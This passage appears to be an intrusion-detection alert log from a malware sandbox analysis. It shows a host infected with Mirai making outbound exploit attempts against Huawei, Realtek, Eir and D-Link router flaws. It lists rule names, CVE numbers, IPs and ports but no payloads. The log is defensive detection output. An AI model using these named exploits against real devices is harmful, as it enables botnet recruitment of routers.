Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.182.109.156

Timestamp:	192.168.2.232.182.109.15639428802846457 10/23/22-17:57:03.498337
SID:	2846457
Source Port:	39428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 79.106.155.15

Timestamp:	192.168.2.2379.106.155.155628475472023548 10/23/22-17:56:53.678013
SID:	2023548
Source Port:	56284
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.104.189

Timestamp:	192.168.2.23156.254.104.18939108802835222 10/23/22-17:57:23.500357
SID:	2835222
Source Port:	39108
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.100.220.119

Timestamp:	192.168.2.2388.100.220.11954706802027121 10/23/22-17:57:49.369995
SID:	2027121
Source Port:	54706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.63.142.77

Timestamp:	192.168.2.23213.63.142.7745876802846380 10/23/22-17:57:54.148119
SID:	2846380
Source Port:	45876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.122.88.1

Timestamp:	192.168.2.23200.122.88.158840802846380 10/23/22-17:57:43.224412
SID:	2846380
Source Port:	58840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.28.44.127

Timestamp:	192.168.2.2346.28.44.12760174802846457 10/23/22-17:58:23.965267
SID:	2846457
Source Port:	60174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.20.52.180

Timestamp:	192.168.2.23195.20.52.18047834802846457 10/23/22-17:56:43.200673
SID:	2846457
Source Port:	47834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.183.53.85

Timestamp:	192.168.2.2395.183.53.8554192802027121 10/23/22-17:56:53.257650
SID:	2027121
Source Port:	54192
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.101.80.48

Timestamp:	192.168.2.2346.101.80.4854414802846457 10/23/22-17:58:23.936940
SID:	2846457
Source Port:	54414
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.18.100.161

Timestamp:	192.168.2.23178.18.100.16160860802846380 10/23/22-17:57:49.425657
SID:	2846380
Source Port:	60860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.4.45.201

Timestamp:	192.168.2.23171.4.45.20138518802846457 10/23/22-17:56:55.069504
SID:	2846457
Source Port:	38518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.3.113.185

Timestamp:	192.168.2.2346.3.113.18542070802846457 10/23/22-17:58:05.661025
SID:	2846457
Source Port:	42070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.238.211.172

Timestamp:	192.168.2.2384.238.211.17251832802846457 10/23/22-17:57:56.410084
SID:	2846457
Source Port:	51832
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.210.58.47

Timestamp:	192.168.2.2385.210.58.4753630802846457 10/23/22-17:57:31.246009
SID:	2846457
Source Port:	53630
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.140.156.115

Timestamp:	192.168.2.2383.140.156.11541696802846380 10/23/22-17:58:27.232677
SID:	2846380
Source Port:	41696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.122.210

Timestamp:	192.168.2.2388.198.122.21058200802027121 10/23/22-17:57:02.444082
SID:	2027121
Source Port:	58200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.124.168

Timestamp:	192.168.2.23206.189.124.16848686802846380 10/23/22-17:58:39.278764
SID:	2846380
Source Port:	48686
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.134.160.166

Timestamp:	192.168.2.232.134.160.16644262802846457 10/23/22-17:57:21.039601
SID:	2846457
Source Port:	44262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.125.36.193

Timestamp:	192.168.2.2386.125.36.19355200802846380 10/23/22-17:58:19.935272
SID:	2846380
Source Port:	55200
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.209.130

Timestamp:	192.168.2.2395.216.209.13035434802027121 10/23/22-17:57:49.370080
SID:	2027121
Source Port:	35434
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.18.52.19

Timestamp:	192.168.2.2386.18.52.1952250802846380 10/23/22-17:57:03.509591
SID:	2846380
Source Port:	52250
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.13.189.143

Timestamp:	192.168.2.2385.13.189.14347472802846457 10/23/22-17:58:26.435827
SID:	2846457
Source Port:	47472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.62.37.241

Timestamp:	192.168.2.235.62.37.24154112528692027339 10/23/22-17:57:35.281734
SID:	2027339
Source Port:	54112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.49.88.68

Timestamp:	192.168.2.2386.49.88.6844090802846380 10/23/22-17:57:07.231236
SID:	2846380
Source Port:	44090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.137.119

Timestamp:	192.168.2.2395.216.137.11934560802027121 10/23/22-17:57:38.647172
SID:	2027121
Source Port:	34560
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.246.60

Timestamp:	192.168.2.2395.101.246.6035808802027121 10/23/22-17:57:21.027576
SID:	2027121
Source Port:	35808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.117.64.95

Timestamp:	192.168.2.23122.117.64.9551444802846457 10/23/22-17:58:02.783091
SID:	2846457
Source Port:	51444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.209.229.126

Timestamp:	192.168.2.2388.209.229.12640488802027121 10/23/22-17:57:38.611987
SID:	2027121
Source Port:	40488
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.107.255

Timestamp:	192.168.2.2395.86.107.25533514802027121 10/23/22-17:58:24.061225
SID:	2027121
Source Port:	33514
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.101.132.202

Timestamp:	192.168.2.2346.101.132.20257296802846457 10/23/22-17:57:53.192191
SID:	2846457
Source Port:	57296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.80.145.196

Timestamp:	192.168.2.23112.80.145.19634064802027121 10/23/22-17:56:45.932630
SID:	2027121
Source Port:	34064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.249.162.209

Timestamp:	192.168.2.2380.249.162.20952994802846380 10/23/22-17:57:11.381212
SID:	2846380
Source Port:	52994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.219.238.60

Timestamp:	192.168.2.23213.219.238.6041306802846380 10/23/22-17:56:39.207705
SID:	2846380
Source Port:	41306
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.154.201.17

Timestamp:	192.168.2.2395.154.201.1749030802027121 10/23/22-17:57:28.450137
SID:	2027121
Source Port:	49030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.109.13.16

Timestamp:	192.168.2.2346.109.13.1650084802846457 10/23/22-17:58:23.953618
SID:	2846457
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.58.51.231

Timestamp:	192.168.2.2395.58.51.23142938802027121 10/23/22-17:58:07.450809
SID:	2027121
Source Port:	42938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.232.128

Timestamp:	192.168.2.2388.221.232.12851092802027121 10/23/22-17:56:39.143232
SID:	2027121
Source Port:	51092
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.87.103.78

Timestamp:	192.168.2.23213.87.103.7847822802846380 10/23/22-17:56:47.121117
SID:	2846380
Source Port:	47822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.252.13.127

Timestamp:	192.168.2.23122.252.13.12746600802846457 10/23/22-17:57:14.309344
SID:	2846457
Source Port:	46600
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.13.134.223

Timestamp:	192.168.2.2380.13.134.22353186802846457 10/23/22-17:57:09.737426
SID:	2846457
Source Port:	53186
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.67.251.180

Timestamp:	192.168.2.23156.67.251.18037570802835222 10/23/22-17:57:25.165890
SID:	2835222
Source Port:	37570
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.69.237.40

Timestamp:	192.168.2.2383.69.237.4036548802846380 10/23/22-17:57:01.378497
SID:	2846380
Source Port:	36548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.200.232

Timestamp:	192.168.2.2395.110.200.23234112802027121 10/23/22-17:57:52.106593
SID:	2027121
Source Port:	34112
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.107.213.99

Timestamp:	192.168.2.2395.107.213.9935238802027121 10/23/22-17:58:12.793297
SID:	2027121
Source Port:	35238
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.33.242.78

Timestamp:	192.168.2.2384.33.242.7859182802846457 10/23/22-17:57:56.404839
SID:	2846457
Source Port:	59182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.67.14.91

Timestamp:	192.168.2.2361.67.14.9148966802846457 10/23/22-17:57:31.852938
SID:	2846457
Source Port:	48966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.211.58.29

Timestamp:	192.168.2.2382.211.58.2960172802846380 10/23/22-17:58:06.169767
SID:	2846380
Source Port:	60172
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.240.228.137

Timestamp:	192.168.2.23156.240.228.13733426802841623 10/23/22-17:58:35.805001
SID:	2841623
Source Port:	33426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.86.101.52

Timestamp:	192.168.2.2388.86.101.5242950802027121 10/23/22-17:58:29.901981
SID:	2027121
Source Port:	42950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.229.82.131

Timestamp:	192.168.2.2385.229.82.13138664802846457 10/23/22-17:57:31.246108
SID:	2846457
Source Port:	38664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.39.153.82

Timestamp:	192.168.2.23164.39.153.8258878802846457 10/23/22-17:57:22.351125
SID:	2846457
Source Port:	58878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.196.88.25

Timestamp:	192.168.2.23112.196.88.2539984802027121 10/23/22-17:58:25.337026
SID:	2027121
Source Port:	39984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.64.241.115

Timestamp:	192.168.2.2382.64.241.11558706802846380 10/23/22-17:58:06.155798
SID:	2846380
Source Port:	58706
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.247.42.180

Timestamp:	192.168.2.23213.247.42.18050126802846380 10/23/22-17:57:03.533357
SID:	2846380
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.163.224.5

Timestamp:	192.168.2.2389.163.224.548962802846457 10/23/22-17:57:41.161507
SID:	2846457
Source Port:	48962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.180.211.47

Timestamp:	192.168.2.235.180.211.4734354802846457 10/23/22-17:57:08.382034
SID:	2846457
Source Port:	34354
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.229.182

Timestamp:	192.168.2.2395.217.229.18236046802027121 10/23/22-17:57:49.328686
SID:	2027121
Source Port:	36046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.1.210.244

Timestamp:	192.168.2.2337.1.210.24457176802846457 10/23/22-17:56:51.962090
SID:	2846457
Source Port:	57176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 41.84.236.44

Timestamp:	192.168.2.2341.84.236.4458066802835221 10/23/22-17:57:28.583889
SID:	2835221
Source Port:	58066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.22.112.11

Timestamp:	192.168.2.2389.22.112.1160160802846457 10/23/22-17:57:55.908279
SID:	2846457
Source Port:	60160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.165.9.54

Timestamp:	192.168.2.2389.165.9.5442650802846457 10/23/22-17:58:07.972110
SID:	2846457
Source Port:	42650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.132.224

Timestamp:	192.168.2.2395.110.132.22442362802027121 10/23/22-17:58:15.281877
SID:	2027121
Source Port:	42362
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.60.175.38

Timestamp:	192.168.2.23169.60.175.3833006802846380 10/23/22-17:57:33.476688
SID:	2846380
Source Port:	33006
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.201.2.55

Timestamp:	192.168.2.23195.201.2.5543710802846457 10/23/22-17:58:30.729836
SID:	2846457
Source Port:	43710
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.114.129.169

Timestamp:	192.168.2.2388.114.129.16934894802027121 10/23/22-17:58:02.135809
SID:	2027121
Source Port:	34894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.84.57.116

Timestamp:	192.168.2.2380.84.57.11652814802846457 10/23/22-17:56:48.732067
SID:	2846457
Source Port:	52814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.40.188

Timestamp:	192.168.2.23156.254.40.18843532372152835222 10/23/22-17:58:24.312578
SID:	2835222
Source Port:	43532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.131.203

Timestamp:	192.168.2.2388.99.131.20341470802027121 10/23/22-17:57:12.950604
SID:	2027121
Source Port:	41470
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.67.78.237

Timestamp:	192.168.2.2314.67.78.2374459475472023548 10/23/22-17:57:20.639792
SID:	2023548
Source Port:	44594
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.90.61.34

Timestamp:	192.168.2.2380.90.61.3435636802846380 10/23/22-17:57:11.363885
SID:	2846380
Source Port:	35636
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.225.51.140

Timestamp:	192.168.2.2341.225.51.14050464802841623 10/23/22-17:58:29.466955
SID:	2841623
Source Port:	50464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.52.121.14

Timestamp:	192.168.2.23181.52.121.1442868802846380 10/23/22-17:56:59.705405
SID:	2846380
Source Port:	42868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.207.143.24

Timestamp:	192.168.2.23213.207.143.2444278802846380 10/23/22-17:58:00.654260
SID:	2846380
Source Port:	44278
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.79.16

Timestamp:	192.168.2.2388.221.79.1657016802027121 10/23/22-17:58:36.284301
SID:	2027121
Source Port:	57016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.219.3.75

Timestamp:	192.168.2.2388.219.3.7558646802027121 10/23/22-17:58:32.666847
SID:	2027121
Source Port:	58646
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.91.185.31

Timestamp:	192.168.2.23178.91.185.3136860802846380 10/23/22-17:57:28.053844
SID:	2846380
Source Port:	36860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.255.164.187

Timestamp:	192.168.2.23156.255.164.18741856802835221 10/23/22-17:57:28.948733
SID:	2835221
Source Port:	41856
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 138.68.139.152

Timestamp:	192.168.2.23138.68.139.15245880802835222 10/23/22-17:57:20.079588
SID:	2835222
Source Port:	45880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.62.28.77

Timestamp:	192.168.2.2386.62.28.7751294802846380 10/23/22-17:57:35.745807
SID:	2846380
Source Port:	51294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.220.185

Timestamp:	192.168.2.23178.62.220.18543428802846380 10/23/22-17:58:13.123154
SID:	2846380
Source Port:	43428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.169.184.68

Timestamp:	192.168.2.23112.169.184.6840252802027121 10/23/22-17:58:29.877211
SID:	2027121
Source Port:	40252
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.249.80.29

Timestamp:	192.168.2.23171.249.80.2949368802846457 10/23/22-17:56:55.071442
SID:	2846457
Source Port:	49368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.59.118.159

Timestamp:	192.168.2.23213.59.118.15938696802846380 10/23/22-17:57:03.800239
SID:	2846380
Source Port:	38696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.79.232.192

Timestamp:	192.168.2.23178.79.232.19243574802846380 10/23/22-17:56:55.335267
SID:	2846380
Source Port:	43574
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.114.183.83

Timestamp:	192.168.2.23122.114.183.8345986802846457 10/23/22-17:58:15.296734
SID:	2846457
Source Port:	45986
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.97.199.50

Timestamp:	192.168.2.2370.97.199.5050206802841623 10/23/22-17:57:20.420549
SID:	2841623
Source Port:	50206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.162.240.39

Timestamp:	192.168.2.23213.162.240.3958180802846380 10/23/22-17:56:39.179157
SID:	2846380
Source Port:	58180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.211.76.131

Timestamp:	192.168.2.2383.211.76.13152150802846380 10/23/22-17:57:01.362718
SID:	2846380
Source Port:	52150
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.209.130

Timestamp:	192.168.2.2395.216.209.13035404802027121 10/23/22-17:57:49.329098
SID:	2027121
Source Port:	35404
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.119.205.168

Timestamp:	192.168.2.2388.119.205.16844542802027121 10/23/22-17:58:05.254176
SID:	2027121
Source Port:	44542
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.80.80.231

Timestamp:	192.168.2.23178.80.80.23146182802846380 10/23/22-17:56:58.420740
SID:	2846380
Source Port:	46182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.114.145.100

